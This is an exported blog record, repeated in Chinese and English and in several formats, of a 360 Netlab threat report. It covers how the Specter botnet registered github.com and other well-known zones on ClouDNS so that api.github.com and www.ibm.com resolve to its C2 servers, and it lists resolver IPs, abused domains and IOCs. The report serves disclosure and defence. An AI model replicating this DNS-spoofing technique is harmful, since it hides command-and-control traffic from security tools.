以这种方式创建出来的域名和现有DNS体系完全混淆，如同平行宇宙一般，有着同样的名字的人但是过着截然不同的生活，同样的域名在不同的DNS体系下有着截然不同的功用。如果两个世界一直平行也无妨，但是黑暗世界的“福尔摩斯”来到人间作案，他的相貌可能会让他畅通无阻。目前我们已经看到的Specter利用这种方式创建出来的域名还有www.ibm.com，正常世界的www.ibm[.]com 仍然是一个白域名，而平行世界的它正在被恶意团伙利用。
其实不只是ClouDNS，很多DNS托管服务商，在对托管域名的校验上，都存在类似的“漏洞”，这是另外一个宏大的话题，在此暂不展开。
对ClouDNS随意注册ZONE的探测
基于我们的Passive DNS数据，我们挑选了全网流行的TOP 1M二级域名进行探测。想探知有多少现有DNS系统里的域名的SLD有多少被在ClouDNS注册为新的Zone以及有多少可能被恶意注册。
探测结果显示其中大约有1263个二级域名在ClouDNS支持解析。考虑到ClouDNS本身也是合法的正规业务，只是业务存在被滥用的可能性，我们对支持解析的二级域名进行了过滤，过滤了明确非恶意注册的二级域后发现有超过300个二级域是恶意注册。部分在ClouDNS被恶意注册SLD如下：
akadns.net
onedrive.com
plivo.com
safe.com
consalud.cl
godaddysites.com
shopee.com
jsdelivr.net
afraid.org
rumahweb.com
mydomain.com
crypto.com
eq.edu.au
adnxs.com
webcindario.com
web.com
lamborghini.com
manager-magazin.de
toto.com
migalhas.com.br
googleadservices.com
example.com
dlink.com
whitehouse.gov
domain.com
googlesyndication.com
fb.com
payeer.com
ya.ru
mql5.com
aaa.com
hola.com
wukong.com
mihanblog.com
wpengine.com
jumia.ma
protonmail.com
tasnimnews.com
nintendo.com
tabnak.ir
lichess.org
digitalocean.com
asriran.com
amazon.com.br
akamaized.net
yjc.ir
office.net
4399.com
opera.com
wp.com
ytimg.com
avast.com
cloudflare.com
playstation.com
hespress.com
leagueoflegends.com
wixsite.com
skype.com
googlevideo.com
wp.pl
wix.com
samsung.com
doubleclick.net
weebly.com
udemy.com
speedtest.net
godaddy.com
zoom.us
espn.com
spotify.com
amazonaws.com
adobe.com
wordpress.com
apple.com
msn.com
github.com
office.com
alipay.com
netflix.com
360.cn
amazon.com
qq.com
另外我们还挑选了全网流行的TOP 1M的FQDN进行探测，探测结果显示有超过300个FQDN可以在ClouDNS产生非正常解析，过滤掉可能是正常业务和噪音数据后发现，至少有192个FQDN是恶意注册。
总结
我们大网探测结果显示，当前在我们的视野范围内还没有太多的恶意样本使用这种方式实现攻击。但这对我们来说是一个重要的预警，特殊的业务逻辑，导致表面正常网络行为的掩盖下，极有可能正在进行着恶意行为。这种方式并不需要任何额外的成本，就可以轻松实现 DNS 欺骗，进而实现对恶意行为的掩藏。
从阻拦的角度来说，ClouDNS的操作，已经让一个域名无法“自证清白”，常规的基于 IOC 匹配的安全检测行为完全失效。我们不可能将 github.com 加入到 IOC 列表中作为威胁情报输出到产品端。基于我们的搜索结果显示，以类似方式提供 DNS 托管的服务提供商还有很多，我们后续将新写一篇度量此类DNS的文章。同时考虑到这些服务提供商还提供着正常的业务，我们也无法将这些服务提供商的服务地址作为威胁情报输出到产品端。
当然，各安全业务方如果确定ClouDNS对自己生产系统没有影响，可以直接阻拦掉ClouDNS的所有NS IP的流量。仔细考虑ClouDNS如此粗暴的实现逻辑，这种阻拦方式可能也没有听起来那么粗暴，我们认为企业应该在自己的防护边界把这种未经许可的DNS访问都阻拦掉。
从域名解析商的角度，在用户添加ZONE的时候，应该采取必要的验证手段确保添加者是域名的合法持有人，我们可以看到好的提供商，比如国内的提供商DNSPOD需要验证通过后才支持解析。
从检测的角度来说，除了从样本角度出发的发现跟踪，在流量侧，需要有两个基础能力的支撑：
* 识别并监测非标准DNS server的能力
* 配合历史白数据，做异常DNS流量判定的能力
近期我们发布了 360 DTA 产品，该产品从 DNS 流量入手，结合我们运营多年的 PDNS 数据、botnet数据，以及多维度数据关联分析等技术可以轻松检测到这种可能是恶意的 DNS 欺骗行为并给予正确的告警，帮助客户及时定位未知威胁、高级威胁，降低攻击影响面，提升情报生产及安全运营能力。
IOC
Sample MD5
0ffa01708fd0c67c78e9055b8839d24d
162c245378b2e21bdab6ef35dfaad6b1
2aec3f06abd677f5f129ddb55d2cde67
CC
45.141.70.5
www.ibm.com @pns101.cloudns.net
api.github.com @ns103.cloudns.net
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 摘要\n威胁情报的应用，始终存在着“漏报”和“误报”的平衡，为了减少可能的误报带来的业务影响，你的威胁情报白名单中是否静静的躺着 www.apple.com、www.qq.com、www.alipay.com 这样的流行互联网业务域名呢？你的机器学习检测模型，依照历史流量，是否会自动对 *.qq.com、*.alipay.com 这样的流量行为增加白权重呢？\n\n但安全是对抗，白帽子想“判黑”，黑客想“洗白”。我们看到的白，不一定是真的白，可能只是黑客想让我们以为的白。\n\n我们BotnetMon最近的跟踪发现，Specter僵尸网络家族的样本，会使用`api.github.com`这种域名作为CC域名来通信，通过“可定制化”的DNS服务，将“白域名”引导到黑IP上来实现自己恶意指令通信。\n\n这种“过白”手法，在流量检测的场景下，让传统的IOC情报失陷判断与拦截方法失效，因为CC是绝对的白域名。从监测到阻拦，都对我们安全防守方提出了新挑战。"}],["markdown",{"markdown":"### 缘起\n\n早在去年9月份，我们首次披露了[**Specter僵尸网络(2020年9月)**](__GHOST_URL__/ghost-in-action-the-specter-botnet/)。该僵尸网络是一个针对 Linux 平台的远程控制木马（RAT），配置灵活，高度模块化/插件化，由Dropper，Loader，Plugin三大部分组成，主要功能由Loader&Plugin决定，自从我们披露后一直活跃至今。\n\n今年9月份，我们BotnetMon的CC自动抽取系统提醒我们，Specter的样本有更新，且自动提取的CC是`api.github.com:80`。\n\n众所周知github.com是全球公开的开源代码托管网站，之前很多恶意软件都有对github.com的使用，不过只是将其当成下载站，通过github.com来承载自己的恶意程序所需的代码/中间件，通过http下载使用。\n\n但是直接请求到`api.github.com:80`为何能完成CC通信呢？是github被黑了，还是Specter僵尸网络的运营者出错了，亦或是我们自己CC自动抽取的bug？我们带着好奇开始了调查。\n\n我们以样本(md5:2aec3f06abd677f5f129ddb55d2cde67)为切入点，经过分析，发现Specter的这次更新主要集中在C2配置文件的结构上，在之前的版本中可以通过\"SpectCF\"字串来定位配置文件，而新版本中则剔除了此标志。此样本的C2配置文件解密后如下所示，可以看出绿色部分正是上文所说的C2:``api.github.com:80``。\n\n<img src=\"__GHOST_URL__/content/images/2021/11/specter_newc2.png\" width=\"860px\" />\n\n\n而红色部分的数据则是这次更新多出来的结构，它又是什么呢？以小端格式解析后，发现它们是如下4个IP地址，隶属于DNS Hosting服务商[**ClouDNS**](https://www.cloudns.net/)。\n```\n85.159.233.158\n108.59.1.30\n217.182.183.225\n185.206.180.169\n```\n\nSpecter新样本是通过以下代码片段对C2进行dns请求，它的逻辑为构造dns请求数据包，然后发往上文所述的DNS IP，最终得到真正的C2地址。\n<img src=\"__GHOST_URL__/content/images/2021/11/specter_dns.png\" width=\"860px\" />\n读者可以自行使用下面的dig命令，通过对比它们的输出结果，可以很清晰的看出这其中的区别。\n```\ndig api.github.com @8.8.8.8\n\ndig api.github.com @85.159.233.158\n```\n至此迷雾褪去，Specter所使用的CC `api.github.com` 实际为在DNS Hosting服务商ClouDNS注册的ZONE `github.com` 下面的子域名，其中`api`为其子域名。这种域名的解析必须使用 ClouDNS 提供的解析服务器才能获取到特定的解析结果。\n\ngithub没有被黑，Specter僵尸网络的运营者也没有出错，我们的CC自动提取也没有bug，而api.github.com这个白域名也确确实实的成为了CC域名。这种使用看起来正常白域名的行为的迷惑性非常强，很容易欺骗恶意软件分析人员，对基于黑白名单规则判定的安全工具也是一种巨大的挑战。"}],["markdown",{"markdown":"\n### ClouDNS可随意注册DNS Zone\n\n鉴于上述利用过程，ClouDNS是核心的一个环节，我们对其进行了详细的探查。\n\n[ClouDNS](https://www.cloudns.net/about-us/)是位于欧洲的全球托管DNS服务提供商，提供包括GeoDNS，Anycast DNS和DNS DDoS防护等服务。\n\nClouDNS允许随意注册DNS ZONE并添加子域名解析。我们注册了一个名为`nsa.gov`的DNS Zone，添加了一个子级域名`test`并解析到`16.16.16.16`，ClouDNS给我们分配了4个Name Server用来解析这个域名，如下图所示：\n\n\n创建成功后，便可使用平台分配的Name Server来解析我们创建的域名：\n\n\n理论上，我们可以在ClouDNS上注册任何没有被注册或者没有被ClouDNS限制注册的Zone。前文提到的Specter C2 `api.github.com`正是以这种方式产生出来的的域名。\n\n\n不仅如此，ClouDNS在对“是否已经注册”的判定上也有“谜之逻辑”。前面说到 github.com 在ClouDNS上已经被Specter团伙注册使用，但是当我们尝试重新注册 github.com 这个Zone的时候，竟然也能成功，只是使用了和Specter团伙不同的一批NS。如图：\n\n\n也既，ClouDNS支持将同一个zone根据不同的NS Server做不同的绑定。我们可以将任意一个白域名注册在不同的NS server上，然后为它绑定不同的IP。\n\n以这种方式创建出来的域名和现有DNS体系完全混淆，如同平行宇宙一般，有着同样的名字的人但是过着截然不同的生活，同样的域名在不同的DNS体系下有着截然不同的功用。如果两个世界一直平行也无妨，但是黑暗世界的“福尔摩斯”来到人间作案，他的相貌可能会让他畅通无阻。目前我们已经看到的Specter利用这种方式创建出来的域名还有`www.ibm.com`，正常世界的www.ibm[.]com 仍然是一个白域名，而平行世界的它正在被恶意团伙利用。\n\n> 其实不只是ClouDNS，很多DNS托管服务商，在对托管域名的校验上，都存在类似的“漏洞”，这是另外一个宏大的话题，在此暂不展开。\n"}],["markdown",{"markdown":"### 对ClouDNS随意注册ZONE的探测\n基于我们的Passive DNS数据，我们挑选了全网流行的TOP 1M二级域名进行探测。想探知有多少现有DNS系统里的域名的SLD有多少被在ClouDNS注册为新的Zone以及有多少可能被恶意注册。\n\n探测结果显示其中大约有`1263`个二级域名在ClouDNS支持解析。考虑到ClouDNS本身也是合法的正规业务，只是业务存在被滥用的可能性，我们对支持解析的二级域名进行了过滤，过滤了明确非恶意注册的二级域后发现有超过`300`个二级域是恶意注册。部分在ClouDNS被恶意注册SLD如下：\n```\nakadns.net\nonedrive.com\nplivo.com\nsafe.com\nconsalud.cl\ngodaddysites.com\nshopee.com\njsdelivr.net\nafraid.org\nrumahweb.com\nmydomain.com\ncrypto.com\neq.edu.au\nadnxs.com\nwebcindario.com\nweb.com\nlamborghini.com\nmanager-magazin.de\ntoto.com\nmigalhas.com.br\ngoogleadservices.com\nexample.com\ndlink.com\nwhitehouse.gov\ndomain.com\ngooglesyndication.com\nfb.com\npayeer.com\nya.ru\nmql5.com\naaa.com\nhola.com\nwukong.com\nmihanblog.com\nwpengine.com\njumia.ma\nprotonmail.com\ntasnimnews.com\nnintendo.com\ntabnak.ir\nlichess.org\ndigitalocean.com\nasriran.com\namazon.com.br\nakamaized.net\nyjc.ir\noffice.net\n4399.com\nopera.com\nwp.com\nytimg.com\navast.com\ncloudflare.com\nplaystation.com\nhespress.com\nleagueoflegends.com\nwixsite.com\nskype.com\ngooglevideo.com\nwp.pl\nwix.com\nsamsung.com\ndoubleclick.net\nweebly.com\nudemy.com\nspeedtest.net\ngodaddy.com\nzoom.us\nespn.com\nspotify.com\namazonaws.com\nadobe.com\nwordpress.com\napple.com\nmsn.com\ngithub.com\noffice.com\nalipay.com\nnetflix.com\n360.cn\namazon.com\nqq.com\n```\n\n另外我们还挑选了全网流行的TOP 1M的FQDN进行探测，探测结果显示有超过`300`个FQDN可以在ClouDNS产生非正常解析，过滤掉可能是正常业务和噪音数据后发现，至少有`192`个FQDN是恶意注册。\n"}],["markdown",{"markdown":"### 总结\n\n我们大网探测结果显示，当前在我们的视野范围内还没有太多的恶意样本使用这种方式实现攻击。但这对我们来说是一个重要的预警，特殊的业务逻辑，导致表面正常网络行为的掩盖下，极有可能正在进行着恶意行为。这种方式并不需要任何额外的成本，就可以轻松实现 DNS 欺骗，进而实现对恶意行为的掩藏。\n\n从阻拦的角度来说，ClouDNS的操作，已经让一个域名无法“自证清白”，常规的基于 IOC 匹配的安全检测行为完全失效。我们不可能将 github.com 加入到 IOC 列表中作为威胁情报输出到产品端。基于我们的搜索结果显示，以类似方式提供 DNS 托管的服务提供商还有很多，我们后续将新写一篇度量此类DNS的文章。同时考虑到这些服务提供商还提供着正常的业务，我们也无法将这些服务提供商的服务地址作为威胁情报输出到产品端。\n\n当然，各安全业务方如果确定ClouDNS对自己生产系统没有影响，可以直接阻拦掉ClouDNS的所有NS IP的流量。仔细考虑ClouDNS如此粗暴的实现逻辑，这种阻拦方式可能也没有听起来那么粗暴，我们认为企业应该在自己的防护边界把这种未经许可的DNS访问都阻拦掉。\n\n从域名解析商的角度，在用户添加ZONE的时候，应该采取必要的验证手段确保添加者是域名的合法持有人，我们可以看到好的提供商，比如国内的提供商[DNSPOD](https://www.dnspod.cn/)需要验证通过后才支持解析。\n\n从检测的角度来说，除了从样本角度出发的发现跟踪，在流量侧，需要有两个基础能力的支撑：\n* 识别并监测非标准DNS server的能力\n* 配合历史白数据，做异常DNS流量判定的能力\n\n近期我们发布了 [360 DTA ](https://b.360.cn/product-center/360-dns-safe/dnssafe)产品，该产品从 DNS 流量入手，结合我们运营多年的 PDNS 数据、botnet数据，以及多维度数据关联分析等技术可以轻松检测到这种可能是恶意的 DNS 欺骗行为并给予正确的告警，帮助客户及时定位未知威胁、高级威胁，降低攻击影响面，提升情报生产及安全运营能力。\n"}],["markdown",{"markdown":"### IOC\n#### Sample MD5\n\n```\n0ffa01708fd0c67c78e9055b8839d24d\n162c245378b2e21bdab6ef35dfaad6b1\n2aec3f06abd677f5f129ddb55d2cde67\n```\n\n#### CC\n\n```\n45.141.70.5\nwww.ibm.com @pns101.cloudns.net\napi.github.com @ns103.cloudns.net\n```"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[1,"p",[]]],"ghostVersion":"3.0"} | 61921f1e3819e50007635ec5 |
post | null | 2021-11-18T03:50:28.000Z | 63873b9a8b1c1e0007f52ff2 | the-pitfall-of-threat-intelligence-whitelisting-specter-botnet-is-taking-over-top-legit-dns-domains-by-using-cloudns-service | 0 | 2021-11-18T14:00:00.000Z | public | published | null | 2021-11-18T14:00:00.000Z | The Pitfall of Threat Intelligence Whitelisting: Specter Botnet is 'taking over' Top Legit DNS Domains By Using ClouDNS Service | <!--kg-card-begin: markdown--><h3 id="abstract">Abstract</h3>
<p>In order to reduce the possible impact of false positives, it is pretty common practice for security industry to whitelist the top Alexa domains such as <code>www.google.com</code>, <code>www.apple.com</code>, <code>www.qq.com</code>, <code>www.alipay.com</code>.<br>
And we have seen various machine learning detection models that bypass data when they sees these popular Internet business domains.</p>
<p>The security war between the white and black never ends, white hats want to see “black” in the data, while hackers always try to blend in and appear “ white". In the follow article, we will see an interesting case which shows that the white we see is not necessarily white.</p>
<p>Our BotMon tracking system recently highlighted that the Specter botnet family started to use two domains <code>api.github.com</code> and <code>www.ibm.com</code> as C2 domains for its control communicate, while everyone knows for sure there is just no way for these FQDN to be malicious. The hacker utilized a pretty bizarre feature from one public DNS provider ClouDNS to make this all possible.</p>
<p>Doing this will definitely bring troubles to IoC based treat intelligence security, as the C2 are absolutely white.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="origins">Origins</h3>
<p>We first disclosed the <strong>Specter botnet</strong> back in September last year (<a href="__GHOST_URL__/ghost-in-action-the-specter-botnet/">September 2020</a>). The botnet is a remote control trojan (RAT) for Linux platforms with flexible configuration and highly modular/plugin-based, It is consist of three major modules: Dropper, Loader, and Plugin, with the main functions determined by the Loader & Plugin, and this botnet has always been active since our disclosure.</p>
<p>In September this year, our BotMon's C2 auto-extraction system alerted us that there was an update of Specter's sample and the auto-extracted C2 was <code>api.github.com</code> on its port <code>80</code>.</p>
<p>There is no need to explains what api.github.com is, although we have seen many malware using github.com before, they pretty much all just use its web service to download their own malicious programs.</p>
<p>But here how can Specter uses api.github.com as its C2 communication node and passes control traffic back and forth between github and its bots? Was github hacked, or was it a bug in our own C2 auto-extraction module?</p>
<p>We took a close look at the sample (md5:<code>2aec3f06abd677f5f129ddb55d2cde67</code>), and saw that the Specter update focused on the structure of the C2 configuration file, the C2 config in the previous versions could be located by searching the <code>SpectCF</code> string. The new version eliminated this. The following is the decrypted C2 configuration file of this sample, the green part is the C2:<code>api.github.com:80</code> mentioned above.<br>
<img src="__GHOST_URL__/content/images/2021/11/specter_newc2.png" width="860px" /></p>
<p>The data in red is the new from this update, and what is it? After parsing in small-end format, weI found that they are the following 4 IP addresses, belonging to the DNS Hosting provider <a href="https://www.cloudns.net/">ClouDNS</a></p>
<pre><code>85.159.233.158
108.59.1.30
217.182.183.225
185.206.180.169
</code></pre>
<p>The new Specter sample send dns request to C2 using the following code snippet, which has the logic to craft the dns request packets and the ask the DNS IPs described above about the FQDN to finally get the C2 address.<br>
<img src="__GHOST_URL__/content/images/2021/11/specter_dns.png" width="860px" /></p>
<p>Readers can use the dig command below on their own and see the difference quite clearly by comparing their output.</p>
<pre><code>dig api.github.com @8.8.8.8
dig api.github.com @85.159.233.158
</code></pre>
<p>At this point the fog clears and the C2 <code>api.github.com</code> used by Specter is actually a subdomain under ZONE <code>github.com</code> registered with the DNS Hosting provider ClouDNS. As long as the hacker uses the resolution server provided by ClouDNS, the resolution of <code>api.github.com</code> can be any IP the hacker picks.</p>
<p>Github was not hacked, the Specter botnet operator did not enter the wrong C2 domin, our C2 auto-extraction was not buggy, but the white domain api.github.com did indeed become a working C2 domain for this botnet. And this totally legit domain can easily deceive malware analysts and is a great challenge for security tools based on black and white list rules.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="cloudns">ClouDNS</h3>
<p>Given the above exploitation process, let’s explore ClouDNS a little bit more here.</p>
<p><a href="https://www.cloudns.net/about-us/">ClouDNS</a> is a global managed DNS service provider based in Europe, offering services including GeoDNS, Anycast DNS and DNS DDoS protection.</p>
<p>ClouDNS allows arbitrary registration of DNS Zones and the addition of sub-domain resolution. We registered(and later removed after test) a DNS Zone named <code>nsa.gov</code>, added a sub-level domain name <code>test</code> and resolved to <code>16.16.16.16</code>. ClouDNS assigned us 4 Name Servers to resolve this domain name, as shown below.<br>
<img src="__GHOST_URL__/content/images/2021/11/Snip20211116_4.png" alt="Snip20211116_4" loading="lazy"></p>
<p>Once created successfully, the Name Servers assigned by the platform can be used to resolve the domain name we created.<br>
<img src="__GHOST_URL__/content/images/2021/11/Snip20211116_5.png" alt="Snip20211116_5" loading="lazy"></p>
<p>Theoretically, we can register any Zone on ClouDNS that is not registered or not restricted by ClouDNS, and the aforementioned Specter C2 <code>api.github.com</code> is a domain name generated in this way.</p>
<p>Not only that, but ClouDNS also has a "mysterious logic" in determining whether a domain is "registered" or not. As mentioned earlier, <code>github.com</code> was already registered on ClouDNS by the Specter gang, but when we tried to re-register the github.com Zone, we were able to do so, just with a different batch of NSs than the Specter gang, as shown here.<br>
<img src="__GHOST_URL__/content/images/2021/11/ClouDNS.github-1.png" alt="ClouDNS.github-1" loading="lazy"></p>
<p>So, ClouDNS supports creating same zones as long as they are on their different NS Servers, this is pretty bizarre behavior.</p>
<blockquote>
<p>In fact, based on our test, not only ClouDNS, but also some other DNS hosting providers, have similar "vulnerabilities" in the verification of hosted domains, this is not the topic to be covered in this article though.</p>
</blockquote>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="explorecloudnsrandomregistrationzones">Explore ClouDNS Random Registration ZONEs</h3>
<p>Based on our own Passive DNS data, we selected the TOP 1M popular second-level domains and did some serious tests. We wanted to find out how many SLDs of domains in the existing DNS system were registered with ClouDNS as new Zones and how many of them could be malicious.</p>
<p>The results of the probe showed that there were approximately <code>300</code> second-level domains that were registered in bad faith. Some of the maliciously registered SLDs in ClouDNS are as follows.</p>
<pre><code>akadns.net
onedrive.com
plivo.com
safe.com
consalud.cl
godaddysites.com
shopee.com
jsdelivr.net
afraid.org
rumahweb.com
mydomain.com
crypto.com
eq.edu.au
adnxs.com
webcindario.com
web.com
lamborghini.com
manager-magazin.de
toto.com
migalhas.com.br
googleadservices.com
example.com
dlink.com
whitehouse.gov
domain.com
googlesyndication.com
fb.com
payeer.com
ya.ru
mql5.com
aaa.com
hola.com
wukong.com
mihanblog.com
wpengine.com
jumia.ma
protonmail.com
tasnimnews.com
nintendo.com
tabnak.ir
lichess.org
digitalocean.com
asriran.com
amazon.com.br
akamaized.net
yjc.ir
office.net
4399.com
opera.com
wp.com
ytimg.com
avast.com
cloudflare.com
playstation.com
hespress.com
leagueoflegends.com
wixsite.com
skype.com
googlevideo.com
wp.pl
wix.com
samsung.com
doubleclick.net
weebly.com
udemy.com
speedtest.net
godaddy.com
zoom.us
espn.com
spotify.com
amazonaws.com
adobe.com
wordpress.com
apple.com
msn.com
github.com
office.com
alipay.com
netflix.com
360.cn
amazon.com
qq.com
</code></pre>
<p>In addition, we also selected the popular TOP 1M FQDNs across to check against ClouDNS, and the results showed that there are over <code>300</code> FQDNs that can generate non-normal resolution in ClouDNS, and after clean up, we found that at least <code>192</code> FQDNs are maliciously registered.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="summary">Summary</h3>
<p>We have yet to see other malicious actors using this technique on a large scale, however, this is an important reminder for us that there are cases of malicious behavior being carried out under the cover of apparently normal network behavior.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">Twitter</a> or email us to netlab at 360 dot cn.</p>
<h3 id="ioc">IOC</h3>
<h4 id="samplemd5">Sample MD5</h4>
<pre><code>0ffa01708fd0c67c78e9055b8839d24d
162c245378b2e21bdab6ef35dfaad6b1
2aec3f06abd677f5f129ddb55d2cde67
</code></pre>
<h4 id="cc">CC</h4>
<pre><code>45.141.70.5
www.ibm.com @pns101.cloudns.net
api.github.com @ns103.cloudns.net
</code></pre>
<!--kg-card-end: markdown--> | Abstract
In order to reduce the possible impact of false positives, it is pretty common practice for security industry to whitelist the top Alexa domains such as www.google.com, www.apple.com, www.qq.com, www.alipay.com.
And we have seen various machine learning detection models that bypass data when they sees these popular Internet business domains.
The security war between the white and black never ends, white hats want to see “black” in the data, while hackers always try to blend in and appear “ white". In the follow article, we will see an interesting case which shows that the white we see is not necessarily white.
Our BotMon tracking system recently highlighted that the Specter botnet family started to use two domains api.github.com and www.ibm.com as C2 domains for its control communicate, while everyone knows for sure there is just no way for these FQDN to be malicious. The hacker utilized a pretty bizarre feature from one public DNS provider ClouDNS to make this all possible.
Doing this will definitely bring troubles to IoC based treat intelligence security, as the C2 are absolutely white.
Origins
We first disclosed the Specter botnet back in September last year (September 2020). The botnet is a remote control trojan (RAT) for Linux platforms with flexible configuration and highly modular/plugin-based, It is consist of three major modules: Dropper, Loader, and Plugin, with the main functions determined by the Loader & Plugin, and this botnet has always been active since our disclosure.
In September this year, our BotMon's C2 auto-extraction system alerted us that there was an update of Specter's sample and the auto-extracted C2 was api.github.com on its port 80.
There is no need to explains what api.github.com is, although we have seen many malware using github.com before, they pretty much all just use its web service to download their own malicious programs.
But here how can Specter uses api.github.com as its C2 communication node and passes control traffic back and forth between github and its bots? Was github hacked, or was it a bug in our own C2 auto-extraction module?
We took a close look at the sample (md5:2aec3f06abd677f5f129ddb55d2cde67), and saw that the Specter update focused on the structure of the C2 configuration file, the C2 config in the previous versions could be located by searching the SpectCF string. The new version eliminated this. The following is the decrypted C2 configuration file of this sample, the green part is the C2:api.github.com:80 mentioned above.
The data in red is the new from this update, and what is it? After parsing in small-end format, weI found that they are the following 4 IP addresses, belonging to the DNS Hosting provider ClouDNS
85.159.233.158
108.59.1.30
217.182.183.225
185.206.180.169
The new Specter sample send dns request to C2 using the following code snippet, which has the logic to craft the dns request packets and the ask the DNS IPs described above about the FQDN to finally get the C2 address.
Readers can use the dig command below on their own and see the difference quite clearly by comparing their output.
dig api.github.com @8.8.8.8
dig api.github.com @85.159.233.158
At this point the fog clears and the C2 api.github.com used by Specter is actually a subdomain under ZONE github.com registered with the DNS Hosting provider ClouDNS. As long as the hacker uses the resolution server provided by ClouDNS, the resolution of api.github.com can be any IP the hacker picks.
Github was not hacked, the Specter botnet operator did not enter the wrong C2 domin, our C2 auto-extraction was not buggy, but the white domain api.github.com did indeed become a working C2 domain for this botnet. And this totally legit domain can easily deceive malware analysts and is a great challenge for security tools based on black and white list rules.
ClouDNS
Given the above exploitation process, let’s explore ClouDNS a little bit more here.
ClouDNS is a global managed DNS service provider based in Europe, offering services including GeoDNS, Anycast DNS and DNS DDoS protection.
ClouDNS allows arbitrary registration of DNS Zones and the addition of sub-domain resolution. We registered(and later removed after test) a DNS Zone named nsa.gov, added a sub-level domain name test and resolved to 16.16.16.16. ClouDNS assigned us 4 Name Servers to resolve this domain name, as shown below.
Once created successfully, the Name Servers assigned by the platform can be used to resolve the domain name we created.
Theoretically, we can register any Zone on ClouDNS that is not registered or not restricted by ClouDNS, and the aforementioned Specter C2 api.github.com is a domain name generated in this way.
Not only that, but ClouDNS also has a "mysterious logic" in determining whether a domain is "registered" or not. As mentioned earlier, github.com was already registered on ClouDNS by the Specter gang, but when we tried to re-register the github.com Zone, we were able to do so, just with a different batch of NSs than the Specter gang, as shown here.
So, ClouDNS supports creating same zones as long as they are on their different NS Servers, this is pretty bizarre behavior.
In fact, based on our test, not only ClouDNS, but also some other DNS hosting providers, have similar "vulnerabilities" in the verification of hosted domains, this is not the topic to be covered in this article though.
Explore ClouDNS Random Registration ZONEs
Based on our own Passive DNS data, we selected the TOP 1M popular second-level domains and did some serious tests. We wanted to find out how many SLDs of domains in the existing DNS system were registered with ClouDNS as new Zones and how many of them could be malicious.
The results of the probe showed that there were approximately 300 second-level domains that were registered in bad faith. Some of the maliciously registered SLDs in ClouDNS are as follows.
akadns.net
onedrive.com
plivo.com
safe.com
consalud.cl
godaddysites.com
shopee.com
jsdelivr.net
afraid.org
rumahweb.com
mydomain.com
crypto.com
eq.edu.au
adnxs.com
webcindario.com
web.com
lamborghini.com
manager-magazin.de
toto.com
migalhas.com.br
googleadservices.com
example.com
dlink.com
whitehouse.gov
domain.com
googlesyndication.com
fb.com
payeer.com
ya.ru
mql5.com
aaa.com
hola.com
wukong.com
mihanblog.com
wpengine.com
jumia.ma
protonmail.com
tasnimnews.com
nintendo.com
tabnak.ir
lichess.org
digitalocean.com
asriran.com
amazon.com.br
akamaized.net
yjc.ir
office.net
4399.com
opera.com
wp.com
ytimg.com
avast.com
cloudflare.com
playstation.com
hespress.com
leagueoflegends.com
wixsite.com
skype.com
googlevideo.com
wp.pl
wix.com
samsung.com
doubleclick.net
weebly.com
udemy.com
speedtest.net
godaddy.com
zoom.us
espn.com
spotify.com
amazonaws.com
adobe.com
wordpress.com
apple.com
msn.com
github.com
office.com
alipay.com
netflix.com
360.cn
amazon.com
qq.com
In addition, we also selected the popular TOP 1M FQDNs across to check against ClouDNS, and the results showed that there are over 300 FQDNs that can generate non-normal resolution in ClouDNS, and after clean up, we found that at least 192 FQDNs are maliciously registered.
Summary
We have yet to see other malicious actors using this technique on a large scale, however, this is an important reminder for us that there are cases of malicious behavior being carried out under the cover of apparently normal network behavior.
Contact us
Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.
IOC
Sample MD5
0ffa01708fd0c67c78e9055b8839d24d
162c245378b2e21bdab6ef35dfaad6b1
2aec3f06abd677f5f129ddb55d2cde67
CC
45.141.70.5
www.ibm.com @pns101.cloudns.net
api.github.com @ns103.cloudns.net
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### Abstract\n\nIn order to reduce the possible impact of false positives, it is pretty common practice for security industry to whitelist the top Alexa domains such as `www.google.com`, `www.apple.com`, `www.qq.com`, `www.alipay.com`.\nAnd we have seen various machine learning detection models that bypass data when they sees these popular Internet business domains.\n\nThe security war between the white and black never ends, white hats want to see “black” in the data, while hackers always try to blend in and appear “ white\". In the follow article, we will see an interesting case which shows that the white we see is not necessarily white.\n\nOur BotMon tracking system recently highlighted that the Specter botnet family started to use two domains `api.github.com` and `www.ibm.com` as C2 domains for its control communicate, while everyone knows for sure there is just no way for these FQDN to be malicious. The hacker utilized a pretty bizarre feature from one public DNS provider ClouDNS to make this all possible.\n\nDoing this will definitely bring troubles to IoC based treat intelligence security, as the C2 are absolutely white."}],["markdown",{"markdown":"\n### Origins\n\nWe first disclosed the **Specter botnet** back in September last year ([September 2020](__GHOST_URL__/ghost-in-action-the-specter-botnet/)). The botnet is a remote control trojan (RAT) for Linux platforms with flexible configuration and highly modular/plugin-based, It is consist of three major modules: Dropper, Loader, and Plugin, with the main functions determined by the Loader & Plugin, and this botnet has always been active since our disclosure.\n\nIn September this year, our BotMon's C2 auto-extraction system alerted us that there was an update of Specter's sample and the auto-extracted C2 was `api.github.com` on its port `80`.\n\nThere is no need to explains what api.github.com is, although we have seen many malware using github.com before, they pretty much all just use its web service to download their own malicious programs.\n\nBut here how can Specter uses api.github.com as its C2 communication node and passes control traffic back and forth between github and its bots? Was github hacked, or was it a bug in our own C2 auto-extraction module?\n\nWe took a close look at the sample (md5:`2aec3f06abd677f5f129ddb55d2cde67`), and saw that the Specter update focused on the structure of the C2 configuration file, the C2 config in the previous versions could be located by searching the `SpectCF` string. The new version eliminated this. The following is the decrypted C2 configuration file of this sample, the green part is the C2:`api.github.com:80` mentioned above.\n<img src=\"__GHOST_URL__/content/images/2021/11/specter_newc2.png\" width=\"860px\" />\n\nThe data in red is the new from this update, and what is it? After parsing in small-end format, weI found that they are the following 4 IP addresses, belonging to the DNS Hosting provider [ClouDNS](https://www.cloudns.net/)\n```\n85.159.233.158\n108.59.1.30\n217.182.183.225\n185.206.180.169\n```\n\nThe new Specter sample send dns request to C2 using the following code snippet, which has the logic to craft the dns request packets and the ask the DNS IPs described above about the FQDN to finally get the C2 address.\n<img 